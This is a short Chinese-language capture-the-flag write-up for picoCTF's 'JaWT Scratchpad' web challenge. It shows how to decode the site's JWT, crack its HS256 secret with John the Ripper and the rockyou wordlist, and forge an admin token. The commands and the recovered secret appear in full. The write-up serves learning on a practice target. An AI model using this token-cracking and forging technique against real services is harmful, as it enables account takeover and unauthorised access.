WriteUp
JaWT Scratchpad
1 分鐘
約 277 字
- 分類:Web
- 難度:Medium
- 題目連結:https://play.picoctf.org/practice/challenge/25
工具 #
過程 #
這是一題關於 JWT 的 CTF 題目。若不清楚 JWT,簡單來說 JWT 是一個用來傳遞身分驗證的資訊,通常會存於 Cookie 中,若要提取或修改可以按下 F12 或是 Burp Suite 等工具。
- 開啟實例後到該網站發現叫我們登入,名字不可以是 admin,然後題目下方有個連結是 John the Ripper 這個工具連結
- 接著題目提到關於 JWT,所以暫時以任意身分登入,例如:12345。之後利用 Decode 更改身分。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMTIzNDUifQ.gDV4REzLXoY7H0ifBpg5AAer_iNkGNFPeCa8oiUT8no
- 之後將 JWT Decode 獲得以下資訊
Header
{
"typ": "JWT",
"alg": "HS256"
}
Payload
{
"user": "12345"
}
Secret 未知,所以我們要利用 John the Ripper 來破解。
先將 JWT 存成 jwt.txt,再將 wordlist.txt 放在同一個資料夾
wordlist.txt 來自 Kali 預設的 /usr/share/wordlists/rockyou.txt.gz
使用 Kali 內建的 John 即可
gunzip /usr/share/wordlists/rockyou.txt.gz
mv /usr/share/wordlists/rockyou.txt ~/wordlist.txt
echo "<jwt>" > jwt.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=wordlist.txt
然後就獲得了 Secret: ilovepico
- 接著使用 Encoder 將 user 欄位改成
admin,Secret 填入ilovepico並複製生成的 JWT 貼到靶機答案就出來了。